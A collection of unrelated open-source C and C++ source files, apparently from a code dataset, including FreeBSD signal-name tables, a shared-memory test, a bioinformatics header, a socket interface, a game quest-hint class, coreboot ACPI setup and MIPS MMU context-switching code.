* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)siglist.c 8.1 (Berkeley) 6/4/93";
#endif /* LIBC_SCCS and not lint */
#include <sys/cdefs.h>
__FBSDID("$FreeBSD: release/8.2.0/lib/libc/gen/siglist.c 166134 2007-01-20 08:24:02Z maxim $");
#include <signal.h>
const char *const sys_signame[NSIG] = {
"Signal 0",
"hup", /* SIGHUP */
"int", /* SIGINT */
"quit", /* SIGQUIT */
"ill", /* SIGILL */
"trap", /* SIGTRAP */
"abrt", /* SIGABRT */
"emt", /* SIGEMT */
"fpe", /* SIGFPE */
"kill", /* SIGKILL */
"bus", /* SIGBUS */
"segv", /* SIGSEGV */
"sys", /* SIGSYS */
"pipe", /* SIGPIPE */
"alrm", /* SIGALRM */
"term", /* SIGTERM */
"urg", /* SIGURG */
"stop", /* SIGSTOP */
"tstp", /* SIGTSTP */
"cont", /* SIGCONT */
"chld", /* SIGCHLD */
"ttin", /* SIGTTIN */
"ttou", /* SIGTTOU */
"io", /* SIGIO */
"xcpu", /* SIGXCPU */
"xfsz", /* SIGXFSZ */
"vtalrm", /* SIGVTALRM */
"prof", /* SIGPROF */
"winch", /* SIGWINCH */
"info", /* SIGINFO */
"usr1", /* SIGUSR1 */
"usr2" /* SIGUSR2 */
};
const char *const sys_siglist[NSIG] = {
"Signal 0",
"Hangup", /* SIGHUP */
"Interrupt", /* SIGINT */
"Quit", /* SIGQUIT */
"Illegal instruction", /* SIGILL */
"Trace/BPT trap", /* SIGTRAP */
"Abort trap", /* SIGABRT */
"EMT trap", /* SIGEMT */
"Floating point exception", /* SIGFPE */
"Killed", /* SIGKILL */
"Bus error", /* SIGBUS */
"Segmentation fault", /* SIGSEGV */
"Bad system call", /* SIGSYS */
"Broken pipe", /* SIGPIPE */
"Alarm clock", /* SIGALRM */
"Terminated", /* SIGTERM */
"Urgent I/O condition", /* SIGURG */
"Suspended (signal)", /* SIGSTOP */
"Suspended", /* SIGTSTP */
"Continued", /* SIGCONT */
"Child exited", /* SIGCHLD */
"Stopped (tty input)", /* SIGTTIN */
"Stopped (tty output)", /* SIGTTOU */
"I/O possible", /* SIGIO */
"Cputime limit exceeded", /* SIGXCPU */
"Filesize limit exceeded", /* SIGXFSZ */
"Virtual timer expired", /* SIGVTALRM */
"Profiling timer expired", /* SIGPROF */
"Window size changes", /* SIGWINCH */
"Information request", /* SIGINFO */
"User defined signal 1", /* SIGUSR1 */
"User defined signal 2" /* SIGUSR2 */
};
const int sys_nsig = sizeof(sys_siglist) / sizeof(sys_siglist[0]);
|
/*
* This file is part of sp-rtrace package.
*
* Copyright (C) 2011 by Nokia Corporation
*
* Contact: Eero Tamminen <eero.tamminen@nokia.com>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*/
/**
* @file shmposix_test.c
*
* Test application for posix shared memory tracking module (shmposix) coverage.
*
* Link with -lrt.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#define SEGMENT_NAME "/shmposix"
int main(void)
{
int fd = shm_open(SEGMENT_NAME, O_RDWR | O_CREAT, 0666);
if (fd == -1) return -1;
int size = 4096;
void* ptr = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0);
if (ptr != MAP_FAILED) {
munmap(ptr, size);
}
ptr = mmap64(NULL, size, PROT_READ, MAP_SHARED, fd, 0);
if (ptr != MAP_FAILED) {
munmap(ptr, size);
}
shm_unlink(SEGMENT_NAME);
return 0;
}
|
#include "stdio.h"
/**
default return type for function.
but you will get a warning when compile.
*/
print(char str[]){
printf("%s\n", str);
return 0;
}
main(){
putchar('H');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar('\n');
print("world.");
return 0;
}
|
/*
* Copyright (c) 2013 Alejandro Alemán Ramos (ICM-CIPF)
* Copyright (c) 2013 Cristina Yenyxe Gonzalez Garcia (ICM-CIPF)
* Copyright (c) 2013 Ignacio Medina (ICM-CIPF)
*
* This file is part of hpg-variant.
*
* hpg-variant is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* hpg-variant is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with hpg-variant. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef VCF_TOOLS_ANNOT_H
#define VCF_TOOLS_ANNOT_H
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <omp.h>
#include <bioformats/db/db_utils.h>
#include <bioformats/db/cellbase_connector.h>
#include <bioformats/features/variant/variant_effect.h>
#include <bioformats/ped/ped_file.h>
#include <bioformats/bam/bam_file.h>
#include <bioformats/vcf/vcf_db.h>
#include <bioformats/vcf/vcf_file_structure.h>
#include <bioformats/vcf/vcf_file.h>
#include <bioformats/vcf/vcf_stats.h>
#include <bioformats/vcf/vcf_stats_report.h>
#include <bioformats/vcf/vcf_util.h>
#include <commons/file_utils.h>
#include <commons/log.h>
#include <config/libconfig.h>
#include <sqlite/sqlite3.h>
#include <containers/khash.h>
#include "error.h"
#include "shared_options.h"
#include "hpg_variant_utils.h"
#define NUM_ANNOT_OPTIONS 16
#define MAX_VARIANTS_PER_QUERY 1000
#define MIN(X,Y) ((X) < (Y) ? (X) : (Y))
typedef struct annot_options {
struct arg_str *bam_directory; /**< BAM DIRECTORY */
struct arg_lit *missing;
struct arg_lit *dbsnp;
struct arg_lit *effect;
// struct arg_lit *phase; // TODO To implement
struct arg_lit *all;
int num_options;
} annot_options_t;
/**
* @struct annot_options_data
*
*/
typedef struct annot_options_data {
char *bam_directory; /**< BAM DIRECTORY */
int missing;
int dbsnp;
int effect;
// int phase; // TODO To implement
} annot_options_data_t;
typedef struct vcf_annot_sample {
char *name;
array_list_t *chromosomes;
} vcf_annot_sample_t;
typedef struct vcf_annot_chr {
char *name;
array_list_t *positions;
} vcf_annot_chr_t;
typedef struct vcf_annot_pos {
unsigned int pos;
int dp;
} vcf_annot_pos_t;
typedef struct vcf_annot_bam {
char* bam_filename;
char* bai_filename;
} vcf_annot_bam_t;
// When counting records instead of printing them,
// data passed to the bam_fetch callback is encapsulated in this struct.
typedef struct {
bam_header_t *header;
int *count;
} count_func_data_t;
static annot_options_t *new_annot_cli_options(void);
/**
* Initialize a annot_options_data_t structure mandatory fields.
*/
static annot_options_data_t *new_annot_options_data(annot_options_t *options);
/**
* Free memory associated to a annot_options_data_t structure.
*/
static void free_annot_options_data(annot_options_data_t *options_data);
/* ******************************
* Tool execution *
* ******************************/
int run_annot(char** urls, shared_options_data_t *shared_options_data, annot_options_data_t *options_data);
/* ******************************
* Options parsing *
* ******************************/
/**
* Read the basic configuration parameters of the tool. If the configuration
* file can't be read, these parameters should be provided via the command-line
* interface.
*
* @param filename File the options data are read from
* @param options_data Local options values (filtering, sorting...)
*
* @return If the configuration has been successfully read
*/
int read_annot_configuration(const char *filename, annot_options_t *options, shared_options_t *shared_options);
/**
*
* @param argc
* @param argv
* @param options_data
* @param shared_options_data
*/
void **parse_annot_options(int argc, char *argv[], annot_options_t *annot_options, shared_options_t *shared_options);
void **merge_annot_options(annot_options_t *annot_options, shared_options_t *shared_options, struct arg_end *arg_end);
/**
*
* @param options
*/
int verify_annot_options(annot_options_t *annot_options, shared_options_t *shared_options);
KHASH_MAP_INIT_STR(bams, char*);
int vcf_annot_chr_cmp(const vcf_annot_chr_t *v1, const vcf_annot_chr_t *v2);
void vcf_annot_sample_free(vcf_annot_sample_t *sample);
void vcf_annot_chr_free(vcf_annot_chr_t *chr);
void vcf_annot_pos_free(vcf_annot_pos_t *pos);
int vcf_annot_process_chunk(vcf_record_t **variants, int num_variants, array_list_t *sample_list, vcf_file_t *vcf_file);
static void vcf_annot_sort_sample(vcf_annot_sample_t* annot_sample);
int vcf_annot_check_bams(vcf_annot_sample_t* annot_sample, khash_t(bams)* sample_bams);
int vcf_annot_edit_chunk(vcf_record_t **variants, int num_variants, array_list_t *sample_list, khash_t(bams)* sample_bams, vcf_file_t *vcf_file);
static vcf_annot_pos_t * vcf_annot_get_pos(char *sample_name, char *chr, size_t pos, array_list_t *sample_list);
static int vcf_annot_pos_cmp (const void * a, const void * b);
static int binary_search_pos(array_list_t* array_list , unsigned int f,unsigned int l, unsigned int target);
void set_field_value_in_sample(char **sample, int position, char* value);
vcf_annot_chr_t * vcf_annot_get_chr(char* chr, array_list_t* array_chr);
#endif
|
/*
* synergy -- mouse and keyboard sharing utility
* Copyright (C) 2012 Bolton Software Ltd.
* Copyright (C) 2002 Chris Schoeneman
*
* This package is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* found in the file COPYING that should have accompanied this file.
*
* This package is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef ISOCKET_H
#define ISOCKET_H
#include "IInterface.h"
#include "CEvent.h"
#include "CBaseAddress.h"
class CNetworkAddress;
//! Generic socket interface
/*!
This interface defines the methods common to all network sockets.
Generated events use \c this as the target.
*/
class ISocket : public IInterface {
public:
//! @name manipulators
//@{
//! Bind socket to address
/*!
Binds the socket to a particular address.
*/
virtual void bind(const CBaseAddress&) = 0;
//! Close socket
/*!
Closes the socket. This should flush the output stream.
*/
virtual void close() = 0;
//@}
//! @name accessors
//@{
//! Get event target
/*!
Returns the event target for events generated by this socket.
*/
virtual void* getEventTarget() const = 0;
//! Get disconnected event type
/*!
Returns the socket disconnected event type. A socket sends this
event when the remote side of the socket has disconnected or
shutdown both input and output.
*/
static CEvent::Type getDisconnectedEvent();
//@}
private:
static CEvent::Type s_disconnectedEvent;
};
#endif
|
/*
* ORXONOX - the hottest 3D action shooter ever to exist
* > www.orxonox.net <
*
*
* License notice:
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* Author:
* Damian 'Mozork' Frick
* Co-authors:
* ...
*
*/
/**
@file QuestHint.h
@brief Definition of the QuestHint class.
@ingroup Questsystem
*/
#ifndef _QuestHint_H__
#define _QuestHint_H__
#include "questsystem/QuestsystemPrereqs.h"
#include <map>
#include "QuestItem.h"
namespace orxonox // tolua_export
{ // tolua_export
/**
@brief
The state of the @ref orxonox::QuestHint "QuestHint".
@ingroup Questsystem
*/
namespace QuestHintStatus
{
enum Value
{
Inactive, //!< The @ref orxonox::QuestHint "QuestHint" is inactive.
Active //!< The @ref orxonox::QuestHint "QuestHint" is active.
};
}
/**
@brief
Represents a hint in the game that gives aid towards completing a @ref orxonox::Quest "Quest".
Consists of title and description (which is stored in a @ref orxonox::QuestDescription "QuestDescription" object) in textual form and must belong to a quest.
A QuestHint has a defined status (inactive or active, where inactive is default) for each player, which means each a QuestHint exists only once for all players, it doesn't belong to a player, it just has different states for each of them.
Creating a QuestHint through XML goes as follows:
@code
<QuestHint id="hintId">
<QuestDesctription title="" description="" />
</QuestHint>
@endcode
@author
Damian 'Mozork' Frick
@ingroup Questsystem
*/
class _QuestsystemExport QuestHint // tolua_export
: public QuestItem
{ // tolua_export
public:
QuestHint(Context* context);
virtual ~QuestHint();
virtual void XMLPort(Element& xmlelement, XMLPort::Mode mode); //!< Method for creating a QuestHint object through XML.
bool isActive(const PlayerInfo* player) const; //!< Returns true if the QuestHint is active for the input player.
bool setActive(PlayerInfo* player); //!< Activates the QuestHint for the input player.
bool setQuest(Quest* quest); //!< Sets the Quest the QuestHint belongs to.
/**
@brief Returns the Quest the QuestHint is attached to.
@return Returns a pointer to the Quest the QuestHint is attached to.
*/
inline Quest* getQuest(void)
{ return this->quest_; }
private:
Quest* quest_; //!< The Quest the QuestHint belongs to.
std::map<const PlayerInfo*, QuestHintStatus::Value> playerStatus_; //!< List of the states for each player, with the Player-pointer as key.
}; // tolua_export
} // tolua_export
#endif /* _QuestHint_H__ */
|
/*
* This file is part of the coreboot project.
*
* Copyright (C) 2012 Google Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <types.h>
#include <string.h>
#include <arch/acpi.h>
#include <arch/ioapic.h>
#include <arch/acpigen.h>
#include <arch/smp/mpspec.h>
#include <device/device.h>
#include <device/pci.h>
#include <soc/acpi.h>
#include <soc/nvs.h>
#include "thermal.h"
void acpi_create_gnvs(global_nvs_t *gnvs)
{
acpi_init_gnvs(gnvs);
/* Enable USB ports in S3 */
gnvs->s3u0 = 1;
/* Disable USB ports in S5 */
gnvs->s5u0 = 0;
gnvs->tcrt = CRITICAL_TEMPERATURE;
gnvs->tpsv = PASSIVE_TEMPERATURE;
gnvs->tmax = MAX_TEMPERATURE;
}
unsigned long acpi_fill_madt(unsigned long current)
{
/* Local APICs */
current = acpi_create_madt_lapics(current);
/* IOAPIC */
current += acpi_create_madt_ioapic((acpi_madt_ioapic_t *) current,
2, IO_APIC_ADDR, 0);
return acpi_madt_irq_overrides(current);
}
|
/*
* Switch a MMU context.
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*
* Copyright (C) 1996, 1997, 1998, 1999 by Ralf Baechle
* Copyright (C) 1999 Silicon Graphics, Inc.
*/
#ifndef _ASM_MMU_CONTEXT_H
#define _ASM_MMU_CONTEXT_H
#include <linux/config.h>
#include <linux/slab.h>
#include <asm/pgalloc.h>
#include <asm/pgtable.h>
/*
* For the fast tlb miss handlers, we currently keep a per cpu array
* of pointers to the current pgd for each processor. Also, the proc.
* id is stuffed into the context register. This should be changed to
* use the processor id via current->processor, where current is stored
* in watchhi/lo. The context register should be used to contiguously
* map the page tables.
*/
#define TLBMISS_HANDLER_SETUP_PGD(pgd) \
pgd_current[smp_processor_id()] = (unsigned long)(pgd)
#define TLBMISS_HANDLER_SETUP() \
set_context((unsigned long) smp_processor_id() << (23 + 3)); \
TLBMISS_HANDLER_SETUP_PGD(swapper_pg_dir)
extern unsigned long pgd_current[];
#ifndef CONFIG_SMP
#define CPU_CONTEXT(cpu, mm) (mm)->context
#else
#define CPU_CONTEXT(cpu, mm) (*((unsigned long *)((mm)->context) + cpu))
#endif
#define ASID_CACHE(cpu) cpu_data[cpu].asid_cache
#if defined(CONFIG_CPU_R3000) || defined(CONFIG_CPU_TX39XX) || defined(CONFIG_CPU_LX45XXX)
#define ASID_INC 0x40
#define ASID_MASK 0xfc0
#else /* FIXME: not correct for R6000, R8000 */
#define ASID_INC 0x1
#define ASID_MASK 0xff
#endif
static inline void enter_lazy_tlb(struct mm_struct *mm, struct task_struct *tsk, unsigned cpu)
{
}
/*
* All unused by hardware upper bits will be considered
* as a software asid extension.
*/
#define ASID_VERSION_MASK ((unsigned long)~(ASID_MASK|(ASID_MASK-1)))
#define ASID_FIRST_VERSION ((unsigned long)(~ASID_VERSION_MASK) + 1)
static inline void
get_new_mmu_context(struct mm_struct *mm, unsigned long cpu)
{
unsigned long asid = ASID_CACHE(cpu);
if (! ((asid += ASID_INC) & ASID_MASK) ) {
flush_icache_all();
local_flush_tlb_all(); /* start new asid cycle */
if (!asid) /* fix version if needed */
asid = ASID_FIRST_VERSION;
}
CPU_CONTEXT(cpu, mm) = ASID_CACHE(cpu) = asid;
}
/*
* Initialize the context related info for a new mm_struct
* instance.
*/
static inline int
init_new_context(struct task_struct *tsk, struct mm_struct *mm)
{
#ifndef CONFIG_SMP
mm->context = 0;
#else
mm->context = (unsigned long)kmalloc(smp_num_cpus *
sizeof(unsigned long), GFP_KERNEL);
/*
* Init the "context" values so that a tlbpid allocation
* happens on the first switch.
*/
if (mm->context == 0)
return -ENOMEM;
memset((void *)mm->context, 0, smp_num_cpus * sizeof(unsigned long));
#endif
return 0;
}
static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next,
struct task_struct *tsk, unsigned cpu)
{
#ifdef CONFIG_PREEMPT
if (preempt_is_disabled() == 0)
BUG();
#endif
/* Check if our ASID is of an older version and thus invalid */
if ((CPU_CONTEXT(cpu, next) ^ ASID_CACHE(cpu)) & ASID_VERSION_MASK)
get_new_mmu_context(next, cpu);
set_entryhi(CPU_CONTEXT(cpu, next));
TLBMISS_HANDLER_SETUP_PGD(next->pgd);
}
/*
* Destroy context related info for an mm_struct that is about
* to be put to rest.
*/
static inline void destroy_context(struct mm_struct *mm)
{
#ifdef CONFIG_SMP
if (mm->context)
kfree((void *)mm->context);
#endif
}
/*
* After we have set current->mm to a new value, this activates
* the context for the new mm so we see the new mappings.
*/
static inline void
activate_mm(struct mm_struct *prev, struct mm_struct *next)
{
/* Unconditionally get a new ASID. */
get_new_mmu_context(next, smp_processor_id());
set_entryhi(CPU_CONTEXT(smp_processor_id(), next));
TLBMISS_HANDLER_SETUP_PGD(next->pgd);
}
#endif /* _ASM_MMU_CONTEXT_H */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.